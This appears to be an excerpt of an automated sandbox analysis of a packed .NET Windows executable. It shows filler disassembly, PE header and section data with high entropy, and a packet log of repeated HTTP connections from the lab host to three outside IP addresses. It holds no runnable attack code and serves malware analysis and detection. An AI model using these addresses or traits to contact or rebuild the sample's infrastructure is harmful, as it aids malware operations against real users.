add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xaaf6f	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xac000	0x5bc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xae000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xa9908	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa8fc8	0xa9000	218397325eb92010b70ead0eab018cb4	False	0.9420057669193787	data	7.879696863228832	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xac000	0x5bc	0x600	219465ccd13ac264281b8dc526c0f1aa	False	0.421875	data	4.107203732502543	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xae000	0xc	0x200	33a1ab43d87f217824f4a02dc00b4541	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xac090	0x32c	data			0.4273399014778325
RT_MANIFEST	0xac3cc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 9, 2024 14:01:59.869179010 CEST	49980	80	192.168.2.9	81.2.196.19
Oct 9, 2024 14:01:59.874217033 CEST	80	49980	81.2.196.19	192.168.2.9
Oct 9, 2024 14:01:59.874310970 CEST	49980	80	192.168.2.9	81.2.196.19
Oct 9, 2024 14:01:59.885922909 CEST	49980	80	192.168.2.9	81.2.196.19
Oct 9, 2024 14:01:59.890758038 CEST	80	49980	81.2.196.19	192.168.2.9
Oct 9, 2024 14:02:00.547663927 CEST	80	49980	81.2.196.19	192.168.2.9
Oct 9, 2024 14:02:00.547756910 CEST	80	49980	81.2.196.19	192.168.2.9
Oct 9, 2024 14:02:00.548069000 CEST	49980	80	192.168.2.9	81.2.196.19
Oct 9, 2024 14:02:00.552664995 CEST	49980	80	192.168.2.9	81.2.196.19
Oct 9, 2024 14:02:00.557549000 CEST	80	49980	81.2.196.19	192.168.2.9
Oct 9, 2024 14:02:15.678764105 CEST	49981	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:15.683821917 CEST	80	49981	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:15.683918953 CEST	49981	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:15.698322058 CEST	49981	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:15.704651117 CEST	80	49981	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:16.350398064 CEST	80	49981	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:16.351197958 CEST	80	49981	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:16.351267099 CEST	49981	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:17.214054108 CEST	49981	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:18.232841015 CEST	49982	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:18.237804890 CEST	80	49982	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:18.237922907 CEST	49982	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:18.249644041 CEST	49982	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:18.254532099 CEST	80	49982	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:18.896882057 CEST	80	49982	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:18.896910906 CEST	80	49982	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:18.897203922 CEST	49982	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:19.760979891 CEST	49982	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:20.779750109 CEST	49983	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:20.784775019 CEST	80	49983	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:20.784900904 CEST	49983	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:20.795475006 CEST	49983	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:20.800617933 CEST	80	49983	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:20.800767899 CEST	80	49983	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:21.471190929 CEST	80	49983	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:21.471543074 CEST	80	49983	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:21.471616030 CEST	49983	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:22.307732105 CEST	49983	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:23.326504946 CEST	49984	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:23.332523108 CEST	80	49984	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:23.332628012 CEST	49984	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:23.339941025 CEST	49984	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:23.344850063 CEST	80	49984	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:23.989788055 CEST	80	49984	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:23.989862919 CEST	80	49984	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:23.989964962 CEST	49984	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:23.992594004 CEST	49984	80	192.168.2.9	65.21.196.90
Oct 9, 2024 14:02:23.997787952 CEST	80	49984	65.21.196.90	192.168.2.9
Oct 9, 2024 14:02:29.165656090 CEST	49985	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:29.170783043 CEST	80	49985	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:29.171057940 CEST	49985	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:29.183646917 CEST	49985	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:29.188823938 CEST	80	49985	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:30.698379993 CEST	49985	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:30.795749903 CEST	80	49985	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:30.795877934 CEST	49985	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:31.717153072 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:31.722170115 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:31.722280025 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:31.733153105 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:31.738042116 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.063723087 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.064151049 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.064183950 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.064189911 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.064203024 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.064241886 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.083913088 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.083950996 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.083964109 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.083996058 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.084068060 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.084079981 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.084090948 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.084112883 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.084137917 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.084295034 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.084309101 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.084321022 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.084340096 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.135941982 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.151124001 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.151164055 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.151175022 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.151246071 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.151257992 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.151269913 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.151423931 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.151438951 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.151487112 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.171014071 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.171041012 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.171052933 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.171063900 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.171077967 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.171176910 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.171226978 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.171226978 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.171272993 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.171284914 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.171319962 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.171421051 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.171432972 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.171472073 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.172147989 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.172158957 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.172169924 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.172194958 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.172261000 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.172272921 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.172305107 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.173144102 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.173192978 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.173274994 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.214041948 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.237853050 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.237898111 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.237910032 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.237946987 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.237958908 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.237972021 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.237996101 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.238032103 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.238409996 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.238456964 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.238470078 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.238507986 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.238604069 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.238615990 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.238626957 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.238662958 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.238679886 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.239327908 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.239907980 CEST	80	49986	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:33.239957094 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:33.245345116 CEST	49986	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:34.265245914 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:34.270163059 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:34.270308018 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:34.282876015 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:34.287844896 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:34.287997961 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.483587980 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.483954906 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.484019041 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.484050035 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.484061956 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.484136105 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.498430014 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.498462915 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.498478889 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.498543024 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.498645067 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.498660088 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.498675108 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.498689890 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.498699903 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.498706102 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.498728037 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.498753071 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.498944044 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.498956919 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.498997927 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.571532011 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.571598053 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.571634054 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.571724892 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.571774960 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.571870089 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.571870089 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.586078882 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.586148024 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.586183071 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.586302042 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.586335897 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.586405993 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.586472988 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.586518049 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.586519957 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.586553097 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.586580992 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.586662054 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.586714029 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.586740971 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.587362051 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.587415934 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.587433100 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.587466955 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.587512016 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.587532043 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.587598085 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.587641954 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.588264942 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.588318110 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.588351011 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.588366985 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.588423967 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.588470936 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.658930063 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.658998966 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.659049988 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.659085035 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.659120083 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.659184933 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.659292936 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.686826944 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.686852932 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.686868906 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.686892986 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.686908960 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.686923027 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.686938047 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.686935902 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.686952114 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.686966896 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.686970949 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.686983109 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.687004089 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.687014103 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.687208891 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.687225103 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.687238932 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.687247992 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.687252998 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.687268972 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.687278032 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.687308073 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.691463947 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.691490889 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.691507101 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.691523075 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.691539049 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.691555977 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.691601038 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.691631079 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.691647053 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.691797018 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.691813946 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.691874027 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.691884041 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.691890001 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.691905975 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.691922903 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.691924095 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.691939116 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.691946030 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.691953897 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.691977978 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.745229959 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.746679068 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.746757030 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.746795893 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.746831894 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.747347116 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.747405052 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.747423887 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.747459888 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.747493029 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.747513056 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.747526884 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.747560024 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.747565031 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.747594118 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.747631073 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.774141073 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774243116 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774267912 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774282932 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774297953 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774313927 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774328947 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774331093 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.774343967 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774359941 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774373055 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.774374962 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774389029 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774405003 CEST	80	49987	44.213.25.70	192.168.2.9
Oct 9, 2024 14:02:35.774418116 CEST	49987	80	192.168.2.9	44.213.25.70
Oct 9, 2024 14:02:35.774465084 CEST	49987	80	192.168.2.9	44.213.25.70
